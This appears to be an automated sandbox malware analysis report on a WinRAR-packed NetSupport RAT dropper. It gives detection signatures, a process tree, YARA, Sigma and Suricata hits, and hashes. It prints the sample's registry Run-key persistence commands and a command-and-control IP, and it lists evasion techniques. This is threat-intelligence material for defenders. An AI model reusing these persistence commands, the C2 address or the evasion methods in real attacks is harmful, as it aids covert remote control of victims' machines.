Edit tour

Windows Analysis Report
d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Overview

General Information

Sample name:	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
Analysis ID:	1580475
MD5:	47cfce938a71540a2039aebd5abe0783
SHA1:	641d20b31f5b2aba11746d1e533cbe4d4ee9c6ed
SHA256:	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d582b6d0b6f188306954
Tags:	exeNetSupportuser-abuse_ch
Infos:

Detection

NetSupport RAT

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Contains functionality to detect sleep reduction / modifications

Contains functionalty to change the wallpaper

Delayed program exit found

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Program Location with Network Connections

Uses cmd line tools excessively to alter registry or file data

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Uses the system / local time for branch decision (may execute only at specific dates)

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64

d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe (PID: 7436 cmdline: "C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe" MD5: 47CFCE938A71540A2039AEBD5ABE0783)

cmd.exe (PID: 7600 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7656 cmdline: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

reg.exe (PID: 7676 cmdline: REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

bild.exe (PID: 7692 cmdline: C:\Users\Public\Netstat\bild.exe MD5: 8D9709FF7D9C83BD376E01912C734F0A)

bild.exe (PID: 7904 cmdline: "C:\Users\Public\Netstat\bild.exe" MD5: 8D9709FF7D9C83BD376E01912C734F0A)

bild.exe (PID: 8120 cmdline: "C:\Users\Public\Netstat\bild.exe" MD5: 8D9709FF7D9C83BD376E01912C734F0A)

bild.exe (PID: 7176 cmdline: "C:\Users\Public\Netstat\bild.exe" MD5: 8D9709FF7D9C83BD376E01912C734F0A)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\Public\Netstat\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\bild.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\HTCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\Public\Netstat\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000B.00000002.1989203129.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000A.00000002.1909557431.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000A.00000002.1908011994.00000000004B2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.4161091973.00000000004B2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000A.00000000.1906094191.00000000004B2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000002.1828037361.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000000.1825297800.00000000004B2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000002.1826623935.00000000004B2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000000.1712834967.00000000004B2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000B.00000000.1987565229.00000000004B2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000B.00000002.1988599605.00000000004B2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe PID: 7436	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe PID: 7436	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: bild.exe PID: 7692	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: bild.exe PID: 7692	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: bild.exe PID: 7904	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: bild.exe PID: 7904	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: bild.exe PID: 8120	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: bild.exe PID: 8120	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: bild.exe PID: 7176	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: bild.exe PID: 7176	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.bild.exe.4b0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.bild.exe.4b0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.0.bild.exe.4b0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.bild.exe.6f980000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.bild.exe.6f980000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.bild.exe.6f980000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.bild.exe.6cef0000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
10.2.bild.exe.6f980000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
10.2.bild.exe.111b79e0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
10.2.bild.exe.111b79e0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.bild.exe.111b79e0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
5.2.bild.exe.111b79e0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.0.bild.exe.4b0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0.3.d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe.5322800.0.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.3.d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe.5322800.0.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.bild.exe.6cef0000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
10.0.bild.exe.4b0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.bild.exe.6c5d0000.3.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.bild.exe.111b79e0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
11.2.bild.exe.111b79e0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.bild.exe.6cef0000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.0.bild.exe.4b0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.bild.exe.4b0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
10.2.bild.exe.6cef0000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.bild.exe.111b79e0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.bild.exe.111b79e0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
10.2.bild.exe.4b0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.bild.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
5.2.bild.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
10.2.bild.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
10.2.bild.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.bild.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.bild.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.bild.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
11.2.bild.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 30 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Netstat\bild.exe, CommandLine: C:\Users\Public\Netstat\bild.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\Netstat\bild.exe, NewProcessName: C:\Users\Public\Netstat\bild.exe, OriginalFileName: C:\Users\Public\Netstat\bild.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7600, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\Public\Netstat\bild.exe, ProcessId: 7692, ProcessName: bild.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Netstat\bild.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 7656, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Netstat

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 45.76.253.210, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Users\Public\Netstat\bild.exe, Initiated: true, ProcessId: 7692, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Netstat\bild.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 7656, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Netstat

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe", CommandLine: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe", CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7600, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe", ProcessId: 7656, ProcessName: reg.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe", CommandLine: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe", CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7600, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe", ProcessId: 7656, ProcessName: reg.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Netstat\bild.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 7676, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Netstat

Suricata Signatures

ETPRO MALWARE NetSupport RAT CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T17:37:03.193758+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.4	49730	45.76.253.210	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Netstat\bild.exe	ReversingLabs: Detection: 28%
Source: C:\Users\Public\Netstat\remcmdstub.exe	ReversingLabs: Detection: 13%

Multi AV Scanner detection for submitted file

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.7% probability

Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_110AD570 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		5_2_110AD570
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_110AD570 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		6_2_110AD570

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

File opened: C:\Users\Public\Netstat\msvcr100.dll

Jump to behavior

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
Source:	Binary string: msvcr100.i386.pdb source: bild.exe, bild.exe, 00000005.00000002.4163625872.000000006C7C1000.00000020.00000001.01000000.0000000D.sdmp, bild.exe, 00000006.00000002.1828393967.000000006C7C1000.00000020.00000001.01000000.0000000D.sdmp, bild.exe, 0000000A.00000002.1909924839.000000006C7C1000.00000020.00000001.01000000.0000000D.sdmp, bild.exe, 0000000B.00000002.1989498636.000000006C7C1000.00000020.00000001.01000000.0000000D.sdmp, msvcr100.dll.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: bild.exe, 00000005.00000002.4163937013.000000006F982000.00000002.00000001.01000000.0000000B.sdmp, bild.exe, 00000006.00000002.1828654414.000000006F982000.00000002.00000001.01000000.0000000B.sdmp, bild.exe, 0000000A.00000002.1910320123.000000006F982000.00000002.00000001.01000000.0000000B.sdmp, bild.exe, 0000000B.00000002.1989707601.000000006F982000.00000002.00000001.01000000.0000000B.sdmp, PCICHEK.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdbN source: PCICHEK.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: bild.exe, 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: bild.exe, 00000005.00000002.4161091973.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 00000005.00000000.1712834967.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 00000006.00000000.1825297800.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 00000006.00000002.1826623935.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 0000000A.00000002.1908011994.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 0000000A.00000000.1906094191.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 0000000B.00000000.1987565229.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 0000000B.00000002.1988599605.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: bild.exe, 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: bild.exe, 00000005.00000002.4163812487.000000006CEF5000.00000002.00000001.01000000.0000000C.sdmp, bild.exe, 00000006.00000002.1828564621.000000006CEF5000.00000002.00000001.01000000.0000000C.sdmp, bild.exe, 0000000A.00000002.1910207199.000000006CEF5000.00000002.00000001.01000000.0000000C.sdmp, bild.exe, 0000000B.00000002.1989634737.000000006CEF5000.00000002.00000001.01000000.0000000C.sdmp, pcicapi.dll.0.dr

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D7A273 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00D7A273
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D8A537 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00D8A537
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	5_2_1102D330
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11065890 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	5_2_11065890
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1106A0A0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	5_2_1106A0A0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_111266E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	5_2_111266E0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1110AFD0 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	5_2_1110AFD0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	6_2_1102D330
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11065890 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	6_2_11065890
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1106A0A0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	6_2_1106A0A0
